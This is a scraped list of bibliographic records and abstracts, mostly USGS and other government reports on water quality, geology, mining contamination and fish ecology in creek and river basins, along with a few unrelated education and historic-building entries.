Geologic setting and water quality of selected basins in the active coal-mining areas of Ohio, 1987-88

USGS Publications Warehouse

Sedam, A.C.

1991-01-01

This report presents hydrologic data from selected drainage basins in the active coal-mining areas of Ohio from July 1987 through October 1988. The study area is mostly within the unglaciated part of eastern Ohio along the western edge of the Appalachian Plateaus physiographic province. The 1987-88 work is the second phase of a 7-year study to assess baseline water quality in Ohio's coal region. The data collection network consisted of 41 long-term surface-water sites in 21 basins. The sites were measured and sampled twice yearly at low flow. In addition, six individual basins (three each year) selected for a more detailed representation of surface-water and ground-water quality. In 1987, the Sandy Creek, Middle Tuscarawas River and Sugar Creek, and Lower Tuscarawas River basins were chosen. In 1988, the Short and Wheeling Creeks, Upper Wills Creek, and Upper Raccoon Creek basins were chosen. Because of their proximity to the glaciated region and outwash drainage, the basins studied intensively in 1987 contain more shallow productive aquifers than do the basins studied in detail for 1988, in which shallow ground-water sources are very localized. Chemical analyses for 202 surface-water and 24 ground-water samples are presented. For field measurements made at surface-water sites, the specific conductance ranged from 295 to 3150 ? S/cm (microsiemens per centimeter at 25 degrees Celsius). For pH, the range was 2.8 to 8.6. Alkalinity ranged from 5 to 305 mg/L (milligrams per liter) as CaCO3.

Visual resource inventory and Imnaha Valley study: Hells Canyon National Recreation Area

Treesearch

David H. Blau; Michael C. Bowie; Frank Hunsaker

1979-01-01

Hells Canyon National Recreation Area was established by an Act of Congress in December 1975. At that time, the U.S. Forest Service, which administers most of the land included, was given the responsibility of developing a Comprehensive Management Plan for the NRA within five years. In order to minimize future visual degradation, the Forest Service planning team for...

Tiffany Diamonds and Classical Music as Influences on the Performance of "Don Juan in Hell".

ERIC Educational Resources Information Center

Johnson, Jim

This paper analyzes Paul Gregory's 1951 production of "Don Juan in Hell," now considered to be a seminal work in the development of professional and educational readers theatre. The paper contends that the production, which presented a nondramatic work without the usual emphasis on design and spectacle, forced a reexamination of the role…

Escape from Management Hell: 12 Tales of Horror, Humor, and Heroism.

ERIC Educational Resources Information Center

Gilbreath, Robert D.

This book offers a set of stories in which corporate executives demonstrate the folly and futility of their own business practices. In the stories, 12 executives are trying to escape from a hell of their own making. The tales provide insights into the management woes with which people at all levels deal on a daily basis. Topics include: the…

Movement of tagged dredged sand at thalweg disposal sites in the Upper Mississippi River. Volume 2. Savanna Bay and Duck Creek sites

DOE Office of Scientific and Technical Information (OSTI.GOV)

Paddock, R.A.; McCown, D.L.

Experiments were conducted on the Upper Mississippi River at two sites, Savanna Bay and Duck Creek, to investigate the movement of dredged sand after disposal in the thalweg. These experiments are part of a larger study, which includes similar experiments conducted earlier at two other sites on the Upper Mississippi River. At the Savanna Bay site, hydraulically dredged sand was tagged with sand coated with fluorescent dye before being deposited as a pile in the thalweg. Bathymetric surveys and surficial bottom sampling were conducted on five occasions over a nine-month period following disposal to identify changes in the topography ofmore » the pile and to detect the presence of dyed sand. At the Duck Creek site, only bathymetric surveys were conducted. The general behavior of the disposal piles at these two new sites was similar to that of the piles at the first two sites. Topographic evidence of the piles disappeared, and bottom conditions similar to the predisposal conditions were reestablished following the first period of high river flows after disposal. At Savanna Bay, as had happened at the first two sites, the tagged sand remained in the main river channel as it moved downstream in response to flood currents and did not migrate into nearby border areas, backwaters, or sloughs. 6 references, 89 figures, 2 tables.« less

Three-Dimensional Geologic Model of Complex Fault Structures in the Upper Seco Creek Area, Medina and Uvalde Counties, South-Central Texas

USGS Publications Warehouse

Pantea, Michael P.; Cole, James C.; Smith, Bruce D.; Faith, Jason R.; Blome, Charles D.; Smith, David V.

2008-01-01

This multimedia report shows and describes digital three-dimensional faulted geologic surfaces and volumes of the lithologic units of the Edwards aquifer in the upper Seco Creek area of Medina and Uvalde Counties in south-central Texas. This geologic framework model was produced using (1) geologic maps and interpretations of depositional environments and paleogeography; (2) lithologic descriptions, interpretations, and geophysical logs from 31 drill holes; (3) rock core and detailed lithologic descriptions from one drill hole; (4) helicopter electromagnetic geophysical data; and (5) known major and minor faults in the study area. These faults were used because of their individual and collective effects on the continuity of the aquifer-forming units in the Edwards Group. Data and information were compared and validated with each other and reflect the complex relationships of structures in the Seco Creek area of the Balcones fault zone. This geologic framework model can be used as a tool to visually explore and study geologic structures within the Seco Creek area of the Balcones fault zone and to show the connectivity of hydrologic units of high and low permeability between and across faults. The software can be used to display other data and information, such as drill-hole data, on this geologic framework model in three-dimensional space.

Feasibility and potential effects of the proposed Amargosa Creek Recharge Project, Palmdale, California

USGS Publications Warehouse

Christensen, Allen H.; Siade, Adam J.; Martin, Peter; Langenheim, V.E.; Catchings, Rufus D.; Burgess, Matthew K.

2015-09-17

The hydraulic conductivities of faults were estimated on the basis of water-level data and an estimate of natural recharge along Amargosa Creek. With assumed horizontal hydraulic conductivities of 10 and 100 feet per day in the upper 150 feet, the simulated maximum artificial recharge rates to the regional flow system at the ACRP were 3,400 and 9,400 acre-feet per year, respectively. These maximum recharge rates were limited primarily by the horizontal hydraulic conductivity in the upper 150 feet and by the liquefaction constraint. Future monitoring of water-level and soil-water content changes during the proposed project would allow improved estimation of aquifer hydraulic properties, the effect of the faults on groundwater movement, and the overall recharge capacity of the ACRP.

Exhumation Across Hells Canyon and the Arc-continent Boundary of Idaho-Oregon

NASA Astrophysics Data System (ADS)

Kahn, M.; Fayon, A. K.; Tikoff, B.

2015-12-01

Hells Canyon is located along the Idaho-Oregon border. It is proximal to the Salmon River suture zone, the Cretaceous-age western margin of North America that juxtaposes accreted terranes to the west and cratonic North America to the east. We applied (U-Th)/He zircon and apatite thermochronometry to samples along an EW transect across Hells Canyon. (U-Th)/He zircon and apatite ages record the time at which rocks cool below ~ 200 and 60 °C, respectively, providing information on both the timing and rate at which rocks cooled. Samples were collected with respect to structural position relative to the basal Columbia River basalt flow (Imnaha), dated at ~ 17.4 Ma, with most samples taken <100 m below the contact. Given that all localities were at the Earth's surface - and thus cooled below 60˚C - at ~ 17.4 Ma, the variation in obtained ages are assessed relative to this common datum. The easternmost sites were taken on the western margin of the Idaho batholith at Lava Buttes, ID at ~2,700 m elevation: The (U-Th)/He zircon and apatite ages are 64.9±4.6 Ma and 53.8±4.9 Ma, respectively. The westernmost sites occur in the Wallowa Mountains, Oregon, where the base of the Imnaha flow exists at ~3,000 m: The (U-Th)/He zircon and apatite ages are 136.2±42.8 Ma and 21.7±10.0 Ma. Additionally, the basal basalt contact occurs at ~900 m and ~600 m at the bottom of the Salmon River Canyon and Hells Canyon respectively. The (U-Th)/He zircon and apatite ages are 73.1±14.6 Ma and 20.0±7.4 Ma, respectively, for the Salmon River Canyon and 88.6±2.4 Ma and 3.4±0.6 Ma, respectively, for Hells Canyon. The data indicate that: 1) The western Wallowa (accreted) terrane cooled below ~200 °C prior to the formation of the Idaho batholith; 2) The western side of the Idaho batholith shows a rapid and consistent cooling between ~200 °C and ~60 °C in the Paleogene; and 3) Samples at low elevation in Hells Canyon cooled below 60˚C in the Pliocene, which requires reburial of the rocks after deposition of the basal portions of the Miocene Columbia River basalts. The young cooling age in Hells Canyon is consistent with recent geomorphological studies constraining incision rates.

Geologic setting, sedimentary architecture, and paragenesis of the Mesoproterozoic sediment-hosted Sheep Creek Cu-Co-Ag deposit, Helena embayment, Montana

USGS Publications Warehouse

Graham, Garth; Hitzman, Murray W.; Zieg, Jerry

2012-01-01

The northern margin of the Helena Embayment contains extensive syngenetic to diagenetic massive pyrite horizons that extend over 25 km along the Volcano Valley-Buttress fault zone and extend up to 8 km basinward (south) within the Mesoproterozoic Newland Formation. The Sheep Creek Cu-Co deposit occurs within a structural block along a bend in the fault system, where replacement-style chalcopyrite mineralization is spatially associated mostly with the two stratigraphically lowest massive pyrite zones. These mineralized pyritic horizons are intercalated with debris flows derived from synsedimentary movement along the Volcano Valley-Buttress fault zone. Cominco American Inc. delineated a geologic resource of 4.5 Mt at 2.5% Cu and 0.1% Co in the upper sulfide zone and 4 Mt at 4% Cu within the lower sulfide zone. More recently, Tintina Resources Inc. has delineated an inferred resource of 8.48 Mt at 2.96% Cu, 0.12% Co, and 16.4 g/t Ag in the upper sulfide zone. The more intact upper sulfide zone displays significant thickness variations along strike thought to represent formation in at least three separate subbasins. The largest accumulation of mineralized sulfide in the upper zone occurs as an N-S–trending body that thickens southward from the generally E trending Volcano Valley Fault and probably occupies a paleograben controlled by normal faults in the hanging wall of the Volcano Valley Fault. Early microcrystalline to framboidal pyrite was accompanied by abundant and local barite deposition in the upper and lower sulfide zones, respectively. The sulfide bodies underwent intense (lower sulfide zone) to localized (upper sulfide zone) recrystallization and overprinting by coarser-grained pyrite and minor marcasite that is intergrown with and replaces dolomite. Silicification and paragenetically late chalcopyrite, along with minor tennantite in the upper sulfide zone, replaces fine-grained pyrite, barite, and carbonate. The restriction of chalcopyrite to inferred synsedimentary E- and northerly trending faults and absence of definitive zonation with respect to the Laramide Volcano Valley Fault in the lower sulfide zone suggest a diagenetic age related to basin development for the Sheep Creek Cu-Co-Ag deposit.

Summer food habits and trophic overlap of roundtail chub and creek chub in Muddy Creek, Wyoming

USGS Publications Warehouse

Quist, M.C.; Bower, M.R.; Hubert, W.A.

2006-01-01

Native fishes of the Upper Colorado River Basin have experienced substantial declines in abundance and distribution, and are extirpated from most of Wyoming. Muddy Creek, in south-central Wyoming (Little Snake River watershed), contains sympatric populations of native roundtail chub (Gila robusta), bluehead sucker, (Catostomus discobolus), and flannelmouth sucker (C. tatipinnis), and represents an area of high conservation concern because it is the only area known to have sympatric populations of all 3 species in Wyoming. However, introduced creek chub (Semotilus atromaculatus) are abundant and might have a negative influence on native fishes. We assessed summer food habits of roundtail chub and creek chub to provide information on the ecology of each species and obtain insight on potential trophic overlap. Roundtail chub and creek chub seemed to be opportunistic generalists that consumed a diverse array of food items. Stomach contents of both species were dominated by plant material, aquatic and terrestrial insects, and Fishes, but also included gastropods and mussels. Stomach contents were similar between species, indicating high trophic, overlap. No length-related patterns in diet were observed for either species. These results suggest that creek chubs have the potential to adversely influence the roundtail chub population through competition for food and the native fish assemblage through predation.

Interview: Professor Helle Neergaard, President of the European Council for Small Business and Entrepreneurship, on the Nature of Creativity, Innovation and Entrepreneurship

ERIC Educational Resources Information Center

Industry and Higher Education, 2015

2015-01-01

On August 13, 2014, Rita G. Klapper conducted a Skype interview with Helle Neergaard. Neergaard is not only President of the European Council for Small Business and Entrepreneurship, but also Docent at the Hanken School of Economics, and Professor at iCARE, Department of Business Administration, School of Business and Social Sciences, University…

41. VIEW NORTH OF UPPER LEVEL OF CRUSHER ADDITION. DINGS ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

41. VIEW NORTH OF UPPER LEVEL OF CRUSHER ADDITION. DINGS MAGNETIC PULLEY AT CENTER. ALSO SHOWS 100-TON CRUSHED UNOXIDIZED ORE BIN (RIGHT), PULLEY FORM 18 INCH BELT CONVEYOR CRUSHED OXIDIZED ORE BIN FEED AND STEPHENSADAMSON 25 TON/HR BUCKET ELEVATOR (UPPER CENTER). THE UPPER PORTION OF THE SAMPLING ELEVATOR IS ABOVE THE MAGNETIC PULLEY (CENTER LEFT) WITH THE ROUTE OF THE 16 INCH BELT CONVEYOR FINES FEED TO CRUSHED OXIDIZED ORE BIN TO ITS LEFT. - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

Mercury Contributions from Flint Creek and other Tributaries to the Upper Clark Fork River in Northwestern Montana

NASA Astrophysics Data System (ADS)

Langner, H.; Young, M.; Staats, M. F.

2013-12-01

Methylmercury contamination in biota is a major factor diminishing the environmental quality of the Upper Clark Fork River (CFR), e.g. by triggering human consumption limits of fish. The CFR is subject to one of the largest Superfund cleanup projects in the US, but remediation and restoration is currently focused exclusively on other mining-related contaminants (As, Cu, Zn, Pb, Cd), which may be counterproductive with respect to the bio-availability of mercury, for example by creation of wetlands along mercury-contaminated reaches of the river. The identification and elimination of Hg sources is an essential step toward reducing the methylmercury exposure in the biota of the CFR watershed because a strong correlation exists between total mercury levels in river sediment and methylmercury levels in aquatic life. We analyzed duplicate samples from the top sediment layer of the main stem and significant tributaries to the Clark Fork River along a 240 km reach between Butte, MT and downstream of the Missoula Valley. Mercury concentrations were 1.3 × 1.6 (mean × SD, n = 35) in the main stem. Concentrations in tributaries varied widely (0.02 to 85 mg/kg) and seemed only loosely related to the number of historic precious metal mines in the watershed. In the upper reach of the CFR, elevated Hg levels are likely caused by residual contaminated sediments in the flood plain. Levels tend to decrease downstream until Drummond, MT, where Flint Creek contributes a significant amount of mercury, causing Hg levels in the main stem CFR to increase from 0.7 to 4 mg/kg. Levels continue to decrease downstream. Flint Creek is the single largest contributor of Hg to the CFR. Detailed sampling of the main stem Flint Creek and tributaries (26 sites) showed extremely high levels in two tributaries (22 to 85 mg/kg) where historic milling operations were located. Elimination of these point sources may be accomplished comparatively economically and may significantly reduce mercury levels in Flint Creek and the Clark Fork River basin.

Geologic map of the Lazy Y Point Quadrangle, Moffat County Colorado

USGS Publications Warehouse

Van Loenen, R. E.; Selner, G.I.; Bryant, W.A.

1999-01-01

The Lazy Y Point quadrangle is in northwestern Colorado a few miles north of Rangely. The prominent structural feature of the Lazy Y Point quadrangle is the Skull Creek monocline. Pennsylvanian rocks are exposed along the axis of the monocline while hogbacks along its southern flank expose rocks that are from Permian to Upper Cretaceous in age. The Wolf Creek monocline and the Wolf Creek thrust fault, which dissects the monocline, are salient structural features in the northern part of the quadrangle. Little or no mineral potential exists within the quadrangle. A geologic map of the Skull Creek quadrangle, which is adjacent to the Lazy Y Point quadrangle on the east, is also available (Geologic Investigations Series I-2647). This companian map shows similar geologic features, including the eastern half of the Skull Creek monocline. The geology of this quadrangle was mapped because of its proximity to Dinosaur National Monument. It is adjacent to quadrangles previously mapped to display the geology of this very scenic and popular National Monument. The Lazy Y Point quadrangle includes parts of the Willow and Skull Creek Wilderness Study Areas, which were assessed for their mineral resource potential.

Distribution and geochemistry of selected trace elements in the Sacramento River near Keswick Reservoir

USGS Publications Warehouse

Antweiler, Ronald C.; Taylor, Howard E.; Alpers, Charles N.

2012-01-01

The effect of heavy metals from the Iron Mountain Mines (IMM) Superfund site on the upper Sacramento River is examined using data from water and bed sediment samples collected during 1996-97. Relative to surrounding waters, aluminum, cadmium, cobalt, copper, iron, lead, manganese, thallium, zinc and the rare-earth elements (REE) were all present in high concentrations in effluent from Spring Creek Reservoir (SCR), which enters into the Sacramento River in the Spring Creek Arm of Keswick Reservoir. SCR was constructed in part to regulate the flow of acidic, metal-rich waters draining the IMM Superfund site. Although virtually all of these metals exist in SCR in the dissolved form, upon entering Keswick Reservoir they at least partially converted via precipitation and/or adsorption to the particulate phase. In spite of this, few of the metals settled out; instead the vast majority was transported colloidally down the Sacramento River at least to Bend Bridge, 67. km from Keswick Dam.The geochemical influence of IMM on the upper Sacramento River was variable, chiefly dependent on the flow of Spring Creek. Although the average flow of the Sacramento River at Keswick Dam is 250m 3/s (cubic meters per second), even flows as low as 0.3m 3/s from Spring Creek were sufficient to account for more than 15% of the metals loading at Bend Bridge, and these proportions increased with increasing Spring Creek flow.The dissolved proportion of the total bioavailable load was dependent on the element but steadily decreased for all metals, from near 100% in Spring Creek to values (for some elements) of less than 1% at Bend Bridge; failure to account for the suspended sediment load in assessments of the effect of metals transport in the Sacramento River can result in estimates which are low by as much as a factor of 100. ?? 2012.

Distribution and geochemistry of selected trace elements in the Sacramento River near Keswick Reservoir

USGS Publications Warehouse

Antweiler, Ronald C.; Taylor, Howard E.; Alpers, Charles N.

2012-01-01

The effect of heavy metals from the Iron Mountain Mines (IMM) Superfund site on the upper Sacramento River is examined using data from water and bed sediment samples collected during 1996-97. Relative to surrounding waters, aluminum, cadmium, cobalt, copper, iron, lead, manganese, thallium, zinc and the rare-earth elements (REE) were all present in high concentrations in effluent from Spring Creek Reservoir (SCR), which enters into the Sacramento River in the Spring Creek Arm of Keswick Reservoir. SCR was constructed in part to regulate the flow of acidic, metal-rich waters draining the IMM Superfund site. Although virtually all of these metals exist in SCR in the dissolved form, upon entering Keswick Reservoir they at least partially converted via precipitation and/or adsorption to the particulate phase. In spite of this, few of the metals settled out; instead the vast majority was transported colloidally down the Sacramento River at least to Bend Bridge, 67 km from Keswick Dam. The geochemical influence of IMM on the upper Sacramento River was variable, chiefly dependent on the flow of Spring Creek. Although the average flow of the Sacramento River at Keswick Dam is 250 m3/s (cubic meters per second), even flows as low as 0.3 m3/s from Spring Creek were sufficient to account for more than 15% of the metals loading at Bend Bridge, and these proportions increased with increasing Spring Creek flow. The dissolved proportion of the total bioavailable load was dependent on the element but steadily decreased for all metals, from near 100% in Spring Creek to values (for some elements) of less than 1% at Bend Bridge; failure to account for the suspended sediment load in assessments of the effect of metals transport in the Sacramento River can result in estimates which are low by as much as a factor of 100.

Environmental Impact of the Helen, Research, and Chicago Mercury Mines on Water, Sediment, and Biota in the Upper Dry Creek Watershed, Lake County, California

USGS Publications Warehouse

Rytuba, James J.; Hothem, Roger L.; May, Jason T.; Kim, Christopher S.; Lawler, David; Goldstein, Daniel; Brussee, Brianne E.

2009-01-01

The Helen, Research, and Chicago mercury (Hg) deposits are among the youngest Hg deposits in the Coast Range Hg mineral belt and are located in the southwestern part of the Clear Lake volcanic field in Lake County, California. The mine workings and tailings are located in the headwaters of Dry Creek. The Helen Hg mine is the largest mine in the watershed having produced about 7,600 flasks of Hg. The Chicago and Research Hg mines produced only a small amount of Hg, less than 30 flasks. Waste rock and tailings have eroded from the mines, and mine drainage from the Helen and Research mines contributes Hg-enriched mine wastes to the headwaters of Dry Creek and contaminate the creek further downstream. The mines are located on federal land managed by the U.S. Bureau of Land Management (USBLM). The USBLM requested that the U.S. Geological Survey (USGS) measure and characterize Hg and geochemical constituents in tailings, sediment, water, and biota at the Helen, Research, and Chicago mines and in Dry Creek. This report is made in response to the USBLM request to conduct a Comprehensive Environmental Response, Compensation, and Liability Act (CERCLA - Removal Site Investigation (RSI). The RSI applies to removal of Hg-contaminated mine waste from the Helen, Research, and Chicago mines as a means of reducing Hg transport to Dry Creek. This report summarizes data obtained from field sampling of mine tailings, waste rock, sediment, and water at the Helen, Research, and Chicago mines on April 19, 2001, during a storm event. Further sampling of water, sediment, and biota at the Helen mine area and the upper part of Dry Creek was completed on July 15, 2003, during low-flow conditions. Our results permit a preliminary assessment of the mining sources of Hg and associated chemical constituents that could elevate levels of monomethyl Hg (MMeHg) in the water, sediment, and biota that are impacted by historic mining.

Sedimentation History of Halfway Creek Marsh, Upper Mississippi River National Wildlife and Fish Refuge, Wisconsin, 1846-2006

USGS Publications Warehouse

Fitzpatrick, Faith A.; Knox, James C.; Schubauer-Berigan, Joseph P.

2007-01-01

The history of overbank sedimentation in the vicinity of Halfway Creek Marsh near La Crosse, Wis., was examined during 2005?06 by the U.S. Geological Survey and University of Wisconsin?Madison as part of a broader study of sediment and nutrient loadings to the Upper Mississippi River bottomlands by the U.S. Environmental Protection Agency, U.S. Fish and Wildlife Service, and U.S. Geological Survey. Historical sedimentation patterns and rates were interpreted from field-scale topographic surveys and sediment cores collected from the marsh and upstream flood plains. Historical maps and aerial photographs were used to establish the timing of disturbances and to document changes in channel patterns after Euro-American settlement (post 1846). Episodic overbank sedimentation patterns and rates were linked to watershed agricultural activity, large floods, artificial levee construction, channel alterations, and dam failures over the past 160 years. These forces affected sedimentation on and between levees, the development of alluvial fans and flood-plain splays, and the general pattern of flood-plain sedimentation through the upper and lower marsh. Historical overbank deposits, episodically deposited after about 1860, are as much as 6 feet thick in the upper marsh and as much as 4 feet thick in the lower marsh, representing a total volume of approximately 1.8 million cubic yards. These stratified deposits consist of multiple layers of silt and clay, very fine to fine sand, and some medium to very coarse sand. Coarse-grained deposits are associated with flood-plain splays caused by breaches in artificial levees during large floods. Estimated sedimentation rates were highest from 1919 to 1936 [26,890 cubic yards per year (yd3/yr)] and exceeded by about 30 times the 1846?85 rate of 920 yd3/yr and exceeded by 7 times the 1994?2006 rate of 3,740 yd3/yr. The 1994?2006 sedimentation rate was the lowest since Euro-American settlement, but natural levees along the 1994?2006 channel of Halfway Creek through the lower marsh continued to form and are currently (2006) about 1 foot higher than the surrounding marsh. Natural levee building in the lower marsh from 1994?2006 was accentuated by the lack of overbank sediment storage in the upper marsh. The historical storage of sediment in the upper and lower marsh affects modern streamflow and sediment transport processes of Halfway Creek and Sand Lake Coulee through the marsh, and it also affects marsh vegetation and wildlife habitat. Results from this investigation will help improve the understanding of how past overbank sedimentation patterns continue to influence modern and future water quality, sediment transport, nutrient loads, and water-related resources in riparian habitats common to the Upper Mississippi River National Wildlife and Fish Refuge.

Context view showing Hoist House at center, upper end of ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

Context view showing Hoist House at center, upper end of inclined railroad in left foreground, part of valve house left of center and part of surge chamber in left background. View to southwest - Mystic Lake Hydroelectric Facility, Hoist House, On west slope of West Rosebud Creek, 1 3/4 miles northeast of Mystic Lake Dam, Fishtail, Stillwater County, MT

44. VIEW OF SOUTHWEST CORNER OF DRYER ROOM. DRYER FOUNDATION ...

Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

44. VIEW OF SOUTHWEST CORNER OF DRYER ROOM. DRYER FOUNDATION AT BOTTOM OF VIEW, WITH 18 INCH REVERSIBLE BELT CONVEYOR (UPPER LEFT), AND 16 INCH BELT CONVEYOR FINES FEED TO CRUSHED OXIDIZED ORE BIN (CENTER TO UPPER RIGHT). DRYER EXHAUST IS BELOW FINES FEED BELT. - Bald Mountain Gold Mill, Nevada Gulch at head of False Bottom Creek, Lead, Lawrence County, SD

Hydrological and geophysical investigation of streamflow losses and restoration strategies in an abandoned mine lands setting

USGS Publications Warehouse

Cravotta, Charles A.; Sherrod, Laura; Galeone, Daniel G.; Lehman, Wayne G.; Ackman, Terry E.; Kramer, Alexa

2017-01-01

Longitudinal discharge and water-quality campaigns (seepage runs) were combined with surface-geophysical surveys, hyporheic-temperature profiling, and watershed-scale hydrological monitoring to evaluate the locations, magnitude, and impact of streamwater losses from the West Creek subbasin of the West West Branch Schuylkill River into the underground Oak Hill Mine complex that extends beneath the watershed divide. Abandoned mine drainage (AMD), containing iron and other contaminants, from the Oak Hill Boreholes to the West Branch Schuylkill River was sustained during low-flow conditions and correlated to streamflow lost through the West Creek streambed. During high-flow conditions, streamflow was transmitted throughout West Creek; however, during low-flow conditions, all streamflow from the perennial headwaters was lost within the 300-to-600-m "upper reach" where an 1889 mine map indicated steeply dipping coalbeds underlie the channel. During low-flow conditions, the channel within the "intermediate reach" 700-to-1650-m downstream gained groundwater seepage with higher pH and specific conductance than upstream; however, all streamflow 1650-to-2050-m downstream was lost to underlying mines. Electrical resistivity and electromagnetic conductivity surveys indicated conductive zones beneath the upper reach, where flow loss occurred, and through the intermediate reach, where gains and losses occurred. Temperature probes at 0.06-to-0.10-m depth within the hyporheic zone of the intermediate reach indicated potential downward fluxes as high as 2.1x10-5 m/s. Cumulative streamflow lost from West Creek during seepage runs averaged 53.4 L/s, which equates to 19.3 percent of the daily average discharge of AMD from the Oak Hill Boreholes and a downward flux of 1.70x10-5 m/s across the 2.1-km-by-1.5-m West Creek stream-channel area.

Hydrogeologic framework and ground-water resources at Seymour Johnson Air Force Base, North Carolina

USGS Publications Warehouse

Cardinell, A.P.; Howe, S.S.

1997-01-01

A preliminary hydrogeologic framework of the Seymour Johnson Air Force Base was constructed from published data, available well data, and reports from Air Base files, City of Goldsboro and Wayne County records, and North Carolina Geological Survey files. Borehole geophysical logs were run in selected wells; and the surficial, Black Creek, and upper Cape Fear aquifers were mapped. Results indicate that the surficial aquifer appears to have the greatest lateral variability of clay units and aquifer material of the three aquifers. A surficial aquifer water-level surface map, constructed from selected monitoring wells screened exclusively in the surficial aquifer, indicates the general direction of ground-water movement in this mostly unconfined aquifer is toward the Neuse River and Stoney Creek. However, water-level gradient data from a few sites in the surficial aquifer did not reflect this trend, and there are insufficient hydrologic and hydrogeologic data to determine the cause of these few anamalous measurements. The Black Creek aquifer underlies the surficial aquifer and is believed to underlie most of Wayne County, including the Air Base where the aquifer and overlying confining unit are estimated from well log data to be as much as 100 feet thick. The Black Creek confining unit ranges in thickness from less than 8 feet to more than 20 feet. There are currently no accessible wells screened exclusively in the Black Creek aquifer from which to measure water levels. The upper Cape Fear aquifer and confining unit are generally found at depths greater than 80 feet below land surface at the Air Base, and are estimated to be as much as 70 feet thick. Hydrologic and hydrogeologic data are insufficient to determine localized surficial aquifer hydrogeology, ground-water movement at several sites, or hydraulic head differences between the three aquifers.

Water Quality in the Blue River Basin, Kansas City Metropolitan Area, Missouri and Kansas, July 1998 to October 2004

USGS Publications Warehouse

Wilkison, Donald H.; Armstrong, Daniel J.; Norman, Richard D.; Polton, Barry C.; Furlong, Edward T.; Zaugg, Steven D.

2006-01-01

Water-quality data were collected from sites in the Blue River Basin from July 1998 to October. Sites upstream from wastewater-treatment plants or the combined sewer system area had lower concentrations of total nitrogen, phosphorus, organic wastewater compounds, and pharmaceuticals, and more diverse aquatic communities. Sites downstream from wastewater-treatment plants had the largest concentrations and loads of nutrients, organic wastewater compounds, and pharmaceuticals. Approximately 60 percent of the total nitrogen and phosphorus in Blue River originated from the Indian Creek, smaller amounts from the upper Blue River (from 28 to 16 percent), and less than 5 percent from Brush Creek. Nutrient yields from the Indian Creek and the middle Blue River were significantly greater than yields from the upper Blue River, lower Brush Creek, the outside control site, and other U.S. urban sites. Large concentrations of nutrients led to eutrophication of impounded Brush Creek reaches. Bottom sediment samples collected from impoundments generally had concentrations of organic wastewater and pharmaceutical compounds equivalent to or greater than, concentrations observed in streambed sediments downstream from wastewater-treatment plants. Bacteria in streams largely was the result of nonpoint-source contributions during storms. Based on genetic source-tracking, average contributions of in-stream Esherichia coli bacteria in the basin from dogs ranged from 26-32 percent of the total concentration, and human sources ranged from 28-42 percent. Macro invertebrate diversity was highest at sites with the largest percentage of upstream land use devoted to forests and grasslands. Declines in macro invertebrate community metrics were correlated strongly with increases in several, inter-related urbanization factors.

Water quality in the Blue River basin, Kansas City metropolitan area, Missouri and Kansas, July 1998 to October 2004

USGS Publications Warehouse

Wilkison, Donald H.; Armstrong, Daniel J.; Norman, Richard D.; Poulton, Barry C.; Furlong, Edward T.; Zaugg, Steven D.

2006-01-01

Water-quality data were collected from sites in the Blue River Basin from July 1998 to October. Sites upstream from wastewater-treatment plants or the combined sewer system area had lower concentrations of total nitrogen, phosphorus, organic wastewater compounds, and pharmaceuticals, and more diverse aquatic communities. Sites downstream from wastewater-treatment plants had the largest concentrations and loads of nutrients, organic wastewater compounds, and pharmaceuticals. Approximately 60 percent of the total nitrogen and phosphorus in Blue River originated from the Indian Creek, smaller amounts from the upper Blue River (from 28 to 16 percent), and less than 5 percent from Brush Creek. Nutrient yields from the Indian Creek and the middle Blue River were significantly greater than yields from the upper Blue River, lower Brush Creek, the outside control site, and other U.S. urban sites. Large concentrations of nutrients led to eutrophication of impounded Brush Creek reaches. Bottom sediment samples collected from impoundments generally had concentrations of organic wastewater and pharmaceutical compounds equivalent to or greater than, concentrations observed in streambed sediments downstream from wastewater-treatment plants. Bacteria in streams largely was the result of nonpoint-source contributions during storms. Based on genetic source-tracking, average contributions of in-stream Esherichia coli bacteria in the basin from dogs ranged from 26-32 percent of the total concentration, and human sources ranged from 28-42 percent. Macro invertebrate diversity was highest at sites with the largest percentage of upstream land use devoted to forests and grasslands. Declines in macro invertebrate community metrics were correlated strongly with increases in several, inter-related urbanization factors.

Restricted gene flow between resident Oncorhynchus mykiss and an admixed population of anadromous steelhead

USGS Publications Warehouse

Matala, Andrew P.; Allen, Brady; Narum, Shawn R.; Harvey, Elaine

2017-01-01

The species Oncorhynchus mykiss is characterized by a complex life history that presents a significant challenge for population monitoring and conservation management. Many factors contribute to genetic variation in O. mykiss populations, including sympatry among migratory phenotypes, habitat heterogeneity, hatchery introgression, and immigration (stray) rates. The relative influences of these and other factors are contingent on characteristics of the local environment. The Rock Creek subbasin in the middle Columbia River has no history of hatchery supplementation and no dams or artificial barriers. Limited intervention and minimal management have led to a dearth of information regarding the genetic distinctiveness of the extant O. mykiss population in Rock Creek and its tributaries. We used 192 SNP markers and collections sampled over a 5‐year period to evaluate the temporal and spatial genetic structures of O. mykissbetween upper and lower watersheds of the Rock Creek subbasin. We investigated potential limits to gene flow within the lower watershed where the stream is fragmented by seasonally dry stretches of streambed, and between upper and lower watershed regions. We found minor genetic differentiation within the lower watershed occupied by anadromous steelhead (FST = 0.004), and evidence that immigrant influences were prevalent and ubiquitous. Populations in the upper watershed above partial natural barriers were highly distinct (FST = 0.093) and minimally impacted by apparent introgression. Genetic structure between watersheds paralleled differences in local demographics (e.g., variation in size), migratory restrictions, and habitat discontinuity. The evidence of restricted gene flow between putative remnant resident populations in the upper watershed and the admixed anadromous population in the lower watershed has implications for local steelhead productivity and regional conservation.

Salmonid Gamete Preservation in the Snake River Basin, 2001 Annual Report.

DOE Office of Scientific and Technical Information (OSTI.GOV)

Armstrong, Robyn; Kucera, Paul

2002-06-01

